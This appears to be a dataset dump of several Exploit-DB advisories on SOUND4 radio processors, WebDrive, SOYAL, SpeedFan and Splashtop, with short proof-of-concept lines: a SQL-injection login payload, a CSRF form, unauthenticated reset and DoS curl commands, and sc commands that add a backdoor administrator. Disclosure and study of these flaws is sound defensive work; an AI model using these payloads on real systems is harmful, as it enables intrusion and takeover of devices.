deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51170
Description: SOUND4 IMPACT/FIRST/PULSE/Eco v2.x  -  Denial Of Service (DoS)
Type: local
Platform: windows
Date: 2023-03-31
Author: LiquidWorm

Exploit:
# Exploit Title: SOUND4 IMPACT/FIRST/PULSE/Eco v2.x  -  Denial Of Service (DoS)
# Exploit Author: LiquidWorm

Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: FM/HD Radio Processing:
                  Impact/Pulse/First (Version 2: 1.1/2.15)
                  Impact/Pulse/First (Version 1: 2.1/1.69)
                  Impact/Pulse Eco 1.16
                  Voice Processing:
                  BigVoice4 1.2
                  BigVoice2 1.30
                  Web-Audio Streaming:
                  Stream 1.1/2.4.29
                  Watermarking:
                  WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: The application allows an unauthenticated attacker to disconnect the
current monitoring user from listening/monitoring and takeover the radio
stream on a specific channel.

------------------------------------------------------------------------
/var/www/killffmpeg.php:
------------------------

01: <?php
02:     $ret=0;
03:     exec("bash -c 'kill $(cat /tmp/webplay.pid)'",$out,$ret);
04:     echo $ret;
05: ?>
------------------------------------------------------------------------

Tested on: Apache/2.4.25 (Unix)
           OpenSSL/1.0.2k
           PHP/7.1.1
           GNU/Linux 5.10.43 (armv7l)
           GNU/Linux 4.9.228 (armv7l)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience


Advisory ID: ZSL-2022-5725
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5725.php


26.09.2022

--


> curl -sko -nul https://RADIO/killffmpeg.php
Exploit-DB #51171
Description: SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Authentication Bypass
Type: local
Platform: windows
Date: 2023-03-31
Author: LiquidWorm

Exploit:
# Exploit Title: SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Authentication Bypass
# Exploit Author: LiquidWorm

Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: FM/HD Radio Processing:
                  Impact/Pulse/First (Version 2: 1.1/2.15)
                  Impact/Pulse/First (Version 1: 2.1/1.69)
                  Impact/Pulse Eco 1.16
                  Voice Processing:
                  BigVoice4 1.2
                  BigVoice2 1.30
                  Web-Audio Streaming:
                  Stream 1.1/2.4.29
                  Watermarking:
                  WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: The application suffers from an SQL Injection vulnerability. Input
passed through the 'password' POST parameter in 'index.php' is not properly
sanitised before being returned to the user or used in SQL queries. This
can be exploited to manipulate SQL queries by injecting arbitrary SQL code
and bypass the authentication mechanism.

Tested on: Apache/2.4.25 (Unix)
           OpenSSL/1.0.2k
           PHP/7.1.1
           GNU/Linux 5.10.43 (armv7l)
           GNU/Linux 4.9.228 (armv7l)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience


Advisory ID: ZSL-2022-5726
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5726.php


26.09.2022

--


POST /index.php HTTP/1.1

username=t00t&password='+joxy--+z
Exploit-DB #51168
Description: SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Cross-Site Request Forgery
Type: local
Platform: windows
Date: 2023-03-31
Author: LiquidWorm

Exploit:
# Exploit Title: SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Cross-Site Request Forgery
# Exploit Author: LiquidWorm

Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: FM/HD Radio Processing:
                  Impact/Pulse/First (Version 2: 1.1/2.15)
                  Impact/Pulse/First (Version 1: 2.1/1.69)
                  Impact/Pulse Eco 1.16
                  Voice Processing:
                  BigVoice4 1.2
                  BigVoice2 1.30
                  Web-Audio Streaming:
                  Stream 1.1/2.4.29
                  Watermarking:
                  WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: Apache/2.4.25 (Unix)
           OpenSSL/1.0.2k
           PHP/7.1.1
           GNU/Linux 5.10.43 (armv7l)
           GNU/Linux 4.9.228 (armv7l)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience


Advisory ID: ZSL-2022-5722
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5722.php


26.09.2022

--


PoC:
----

<form action="http://RADIO/cgi-bin/logoremove.cgi" method="POST">
  <input type="submit" value="Disappear" />
</form>
Exploit-DB #51174
Description: SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Unauthenticated Factory Reset
Type: local
Platform: windows
Date: 2023-03-31
Author: LiquidWorm

Exploit:
# Exploit Title: SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Unauthenticated Factory Reset
# Exploit Author: LiquidWorm

Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: FM/HD Radio Processing:
                  Impact/Pulse/First (Version 2: 1.1/2.15)
                  Impact/Pulse/First (Version 1: 2.1/1.69)
                  Impact/Pulse Eco 1.16
                  Voice Processing:
                  BigVoice4 1.2
                  BigVoice2 1.30
                  Web-Audio Streaming:
                  Stream 1.1/2.4.29
                  Watermarking:
                  WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: The device allows unauthenticated attackers to visit the unprotected
/usr/cgi-bin/restorefactory.cgi endpoint and reset the device to its factory
default configuration. Once a POST request is made, the device will reboot
with its default settings allowing the attacker to bypass authentication
and take full control of the system.

Tested on: Apache/2.4.25 (Unix)
           OpenSSL/1.0.2k
           PHP/7.1.1
           GNU/Linux 5.10.43 (armv7l)
           GNU/Linux 4.9.228 (armv7l)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience


Advisory ID: ZSL-2022-5742
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5742.php


26.09.2022

--


> curl -kX POST "https://RADIO/cgi-bin/restorefactory.cgi" --data "0x539" \
> sleep 120

#login admin:admin
Exploit-DB #51167
Description: SOUND4 Server Service 4.1.102 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2023-03-31
Author: LiquidWorm

Exploit:
# Exploit Title: SOUND4 Server Service 4.1.102 - Local Privilege Escalation
# Exploit Author: LiquidWorm

Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: 4.1.102

Summary: SOUND4 Windows Server Service.

Desc: The application suffers from an unquoted search path issue impacting
the service 'SOUND4 Server' for Windows. This could potentially allow an
authorized but non-privileged local user to execute arbitrary code with
elevated privileges on the system. A successful attempt would require the
local user to be able to insert their code in the system root path undetected
by the OS or other security applications where it could potentially be executed
during application startup or reboot. If successful, the local user's code
would execute with the elevated privileges of the application.

Tested on: Windows 10 Home 64 bit (build 9200)
           SOUND4 Server v4.1.102
           SOUND4 Remote Control v4.3.17


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience


Advisory ID: ZSL-2022-5721
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5721.php


26.09.2022

--


C:\>sc qc "SOUND4 Server"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SOUND4 Server
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\SOUND4\Server\SOUND4 Server.exe --service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : SOUND4 Server
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>cacls "C:\Program Files\SOUND4\Server\SOUND4 Server.exe"
C:\Program Files\SOUND4\Server\SOUND4 Server.exe NT AUTHORITY\SYSTEM:(ID)F
                                                 BUILTIN\Administrators:(ID)F
                                                 BUILTIN\Users:(ID)R
                                                 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(ID)R
                                                 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(ID)R


C:\Program Files\SOUND4\Server>"SOUND4 Server.exe" -V
4.1.102
Exploit-DB #9970
Description: South River Technologies WebDrive 9.02 build 2232 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2009-10-20
Author: bellick

Exploit:
South River Technologies WebDrive Service Bad Security Descriptor Local Elevation Of Privileges
by Nine:Situations:Group::bellick
site: http://retrogod.altervista.org/

Software site: http://www.webdrive.com/
Download location: http://www.webdrive.com/download/index.html

Tested against:
South River Technologies WebDrive 9.02 build 2232
on Microsoft Windows XP SP3

The "WebDrive Service" is installed with an empty security descriptor. A malicious user can
stop the service, then invoke the "sc config" command to replace the binary path with a value
of choice, then restart the service to run the command with SYSTEM privileges ex., run theese
commands as a limited user:

sc stop WebDriveService
sc config WebDriveService binPath= "cmd /c net user southriver kills /add && net localgroup Administrators southriver /add"
sc start WebDriveService
runas /noprofile /user:%COMPUTERNAME%\southriver cmd

now login as administrator with password "kills"

mitigation:

the security descriptor of the service is like this:

C:\>sc sdshow WebDriveService

D:

change the security descriptor like the following:

c:\sc sdset WebDriveService D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
[SC] SetServiceObjectSecurity SUCCESS

original url: http://retrogod.altervista.org/9sg_south_river_priv.html
Exploit-DB #49679
Description: SOYAL 701 Client 9.0.1 - Insecure Permissions
Type: local
Platform: windows
Date: 2021-03-19
Author: LiquidWorm

Exploit:
# Exploit Title: SOYAL 701 Client 9.0.1 - Insecure Permissions
# Date: 25.01.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.soyal.com.tw https://www.soyal.com

Vendor: SOYAL Technology Co., Ltd
Product web page: https://www.soyal.com.tw | https://www.soyal.com
Affected version: 9.0.1 190410
                  9.0.1 190115

Summary: 701 Client is the user interface software for the access control
system. It is used for adding and deleting tokens, setting door groups
for access, setting time zones for limiting access and monitoring ingress
and egress on a live system, among other things.

Desc: The application suffers from an elevation of privileges vulnerability
which can be used by a simple authenticated user that can change the
executable file with a binary of choice. The vulnerability exist due
to the improper permissions, with the 'F' flag (Full) for 'Authenticated Users'
group.

Tested on: Microsoft Windows 10 Enterprise


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5634
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5634.php


25.01.2021

--


C:\Program Files (x86)\701Client>cacls client.exe
C:\Program Files (x86)\701Client\client.exe NT AUTHORITY\Authenticated Users:F
                                            NT AUTHORITY\Authenticated Users:(ID)F
                                            NT AUTHORITY\SYSTEM:(ID)F
                                            BUILTIN\Administrators:(ID)F
                                            BUILTIN\Users:(ID)R
                                            APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(ID)R
                                            APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(ID)R


C:\Program Files (x86)\701Client>
Exploit-DB #49678
Description: SOYAL 701 Server 9.0.1 - Insecure Permissions
Type: local
Platform: windows
Date: 2021-03-19
Author: LiquidWorm

Exploit:
# Exploit Title: SOYAL 701 Server 9.0.1 - Insecure Permissions
# Date: 25.01.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.soyal.com.tw https://www.soyal.com

Vendor: SOYAL Technology Co., Ltd
Product web page: https://www.soyal.com.tw | https://www.soyal.com
Affected version: 9.0.1 190322
                  8.0.6 181227

Summary: 701 Server is the program used to set up and configure LAN
and IP based access control systems, from the COM port used to the
quantity and type of controllers connected. It is also used for
programming some of the more complex controllers such as the AR-716E
and the AR-829E.

Desc: The application suffers from an elevation of privileges vulnerability
which can be used by a simple authenticated user that can change the
executable file with a binary of choice. The vulnerability exist due
to the improper permissions, with the 'F' flag (Full) for 'Everyone'
and 'Authenticated Users' group.

Tested on: Microsoft Windows 10 Enterprise


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5633
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5633.php


25.01.2021

--


C:\Program Files (x86)\701Server>cacls McuServer.exe
C:\Program Files (x86)\701Server\McuServer.exe Everyone:F
                                               NT AUTHORITY\Authenticated Users:(ID)F
                                               NT AUTHORITY\SYSTEM:(ID)F
                                               BUILTIN\Administrators:(ID)F
                                               BUILTIN\Users:(ID)R
                                               APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(ID)R
                                               APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(ID)R

C:\Program Files (x86)\701Server>
Exploit-DB #30681
Description: SpeedFan - 'Speedfan.sys' Local Privilege Escalation
Type: local
Platform: windows
Date: 2007-10-18
Author: Ruben Santamarta

Exploit:
source: https://www.securityfocus.com/bid/26123/info

SpeedFan is prone to a local privilege-escalation vulnerability.

An attacker could exploit this issue to execute arbitrary machine code with SYSTEM-level privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30681.zip
Exploit-DB #51182
Description: Splashtop 8.71.12001.0 - Unquoted Service Path
Type: local
Platform: windows
Date: 2023-04-01
Author: A.I. hernandez

Exploit:
# Exploit Title: Splashtop 8.71.12001.0 - Unquoted Service Path
# Date: 12/20/2022
# Exploit Author: A.I. hernandez
# Version: 8.71.12001.0
# Vendor Homepage: https://www.splashtop.com
# Version: current version
# Tested on: Windows 10 21H2
# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

Splashtop Software Updater Service       SSUService    C:\Program Files (x86)\Splashtop\Splashtop Software Updater\SSUService.exe

                                      Auto

C:\>sc qc SSUService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SSUService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Splashtop\Splashtop Software Updater\SSUService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Splashtop Software Updater Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem